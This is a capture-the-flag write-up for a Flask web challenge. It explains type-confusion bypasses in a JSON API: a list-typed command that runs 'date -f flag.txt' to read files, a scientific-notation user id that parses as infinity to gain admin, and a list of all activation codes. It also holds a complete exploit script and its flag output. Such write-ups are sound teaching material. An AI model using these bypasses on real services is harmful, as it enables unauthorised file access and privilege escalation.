Robert is a gangsta

webtypescybersecurityrumble2022jsonflaskctf

Discovery

There isn’t that much discovery to do since we are provided with the source code in the Challenge description.

I actually started looking at the challenge from the target (admin access) back to the start (registering a user).

Abusing the admin endpoint

Immediately, the following snippets caught my eye:

def validate_command(string):
    return len(string) == 4 and string.index("date") == 0

def api_admin(data, user):
    if user is None:
        return error_msg("Not logged in")
    is_admin = get_userdb().is_admin(user["email"])
    if not is_admin:
        return error_msg("User is not Admin")

    cmd = data["data"]["cmd"]
    # currently only "date" is supported
    if validate_command(cmd):
        out = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        return success_msg(out.stdout.decode())

    return error_msg("invalid command")

If we can access the admin endpoint, we can execute any command that passes the validate_command function.

To find out what the data parameter of the function is, we have to look at the json_api endpoint of the application. The rest of the endpoints are just to display the web ui and are irrelevant for us.

@app.route("/json_api", methods=["GET", "POST"])
def json_api():
    user = get_user(request)
    if request.method == "POST":
        data = json.loads(request.get_data().decode())
        # print(data)
        action = data.get("action")
        if action is None:
            return "missing action"

        return actions.get(action, api_error)(data, user)

    else:
        return json.dumps(user)

As we can see, the data parameter is just the json data in the body of the POST-request. There is no validation done on this values! This will be important multiple times during this challenge.

The first time is now: If we remember the validate_command function? We can abuse the missing validation here.

>>> validate_command("ls")
False
>>> validate_command("date")
True

Both python and json have dynamic types, so a function argument can be of different and unrelated types at runtime. Abusing that fact, we now pass an list instead of a str. If we choose our list values carefully, we can bypass the validation to supply additional arguments to the date command.

>>> validate_command(["date", "-f", "flag.txt", "-u"])
True

We can not give arbitrary commands, as the first argument has to be date to pass the validation and we can only supply 4 arguments. As subprocess.run doesn’t use a shell by default, we also cant use any variables or bash command injection. Looking at GTFObins, we can see that we can read files using the -f parameter to supply a date format. If it is invalid (which it will be, since it is the flag) it will show us the file invalid content in the output.

Accessing the admin endpoint

Now that we know how to exploit the admin endpoint, we need to find out how we can get access to the admin account or how to create a new one.

If we look at the source code, we can see the following check to find out if the user is an admin:

def is_admin(self, email):
    user = self.db.get(email)
    if user is None:
        return False

    # TODO check userid type etc
    return user["userid"] > 90000000

So, to be an admin, our userid needs to be above a huge number. If we look at where it is set in the registration method, we can see that we can actually choose the last 7 digits of the 8 digit number. Also, we get another hint that we might have to abuse the types again.

def api_create_account(data, user):
    dt = data["data"]
    email = dt["email"]
    password = dt["password"]
    groupid = dt["groupid"]
    userid = dt["userid"]
    activation = dt["activation"]

    assert len(groupid) == 3
    assert len(userid) == 4

    userid = json.loads("1" + groupid + userid)

Again, we notice the lack of type checks. The only requirement is the length of the fields. Here, it is strange that the code uses json.loads to create the userid instead of just combining the strings and passing it to int(). So, json.loads might parse something differently than int()!

So, I looked at the railroad diagram that json uses for parsing numbers:

JSON number parsing

Immediately, we see something interesting: scientific number notation!

>>> userid = json.loads("1.0e9999")
>>> userid
inf
>>> userid > 90000000
True

If we apply it correctly by choosing userid and groupid according to the string above, we can get an inf value which stands for positive infinity and is obviously bigger than 90000000.

Onto the final and last challenge in this multi-step adventure!

Registering a user

To actually be able to register a user, we also need to pass the check_activation_code function. This function will generate a random number between 0 and 10000 and expects us to just guess it…

def check_activation_code(activation_code):
    # no bruteforce
    time.sleep(20)
    if "{:0>4}".format(random.randint(0, 10000)) in activation_code:
        return True
    else:
        return False

If we try our old thinking about types in python again, we can find a clever way to bypass this check with a 100% success rate. (We need/want to, as waiting 20s until we know the result is quite long and we don’t have much time to guess activation_codes during the ctf!)

The activation_code is again just taken directly from our json user data. The python in operator works both for str and list, so we can just pass a list of all possible values as the activation_code:

>>>activation_code = ["{:0>4}".format(i) for i in range(10000)]
>>>activation_code
['0000', '0001', '0002', ... , '9998', '9999']

>>>"{:0>4}".format(random.randint(0, 10000)) in activation_code
True

Putting it all together

Now, we have almost everything we need to put together our exploit script. A small detail, but quite an important one is the session cookie. In the app’s code, they use the flask session to store per-user data. So, we need to make sure to use a requests Session to resend the cookie on every request. To automatically exploit the service, we can use the following script:

import requests

s = requests.Session()

print("Creating account")
r = s.post("http://roberisagangsta.rumble.host/json_api", json={
    "action": "create_account",
    "data": {
        "email": "info@example.com",
        "password": "whatever",
        "groupid": ".0E",
        "userid": "9998",
        "activation": ["{:0>4}".format(i) for i in range(10000)]
    }
})

print(s.cookies)

print(r.json())

print("Login")
s.post("http://roberisagangsta.rumble.host/json_api", json={
    "action": "login",
    "data": {
        "email": "info@example.com",
        "password": "whatever"
    }
})

print(s.cookies)

print("Executing command")
r = s.post("http://roberisagangsta.rumble.host/json_api", json={
    "action": "admin",
    "data": {
        "cmd": ["date", "-f", "flag.txt", "-u"]
    }
})

print(r.json())

If we run the script above, we get the following output (and the flag):

Creating account
<RequestsCookieJar[<Cookie session=eyJ1c2VyZGIiOiI2ZmFkOGJhMmZmYjc4ODg1NDBmOSJ9.Y0WmmA.R5ZYT44VU8QxQPgwRQRQlwtWKMs for roberisagangsta.rumble.host/>]>
{'return': 'Success', 'message': 'User Created'}
Login
<RequestsCookieJar[<Cookie auth=c251a21e-88c9-4265-80af-1b3f5a9c01c5 for roberisagangsta.rumble.host/>, <Cookie session=eyJ1c2VyZGIiOiI2ZmFkOGJhMmZmYjc4ODg1NDBmOSJ9.Y0WmmA.R5ZYT44VU8QxQPgwRQRQlwtWKMs for roberisagangsta.rumble.host/>]>
Executing command
{'return': 'Success', 'message': 'date: invalid date ‘CSR{js0n_b0urn3_str1kes_4g4in!}’\n'}

And we get the flag in the message data:

CSR{js0n_b0urn3_str1kes_4g4in!}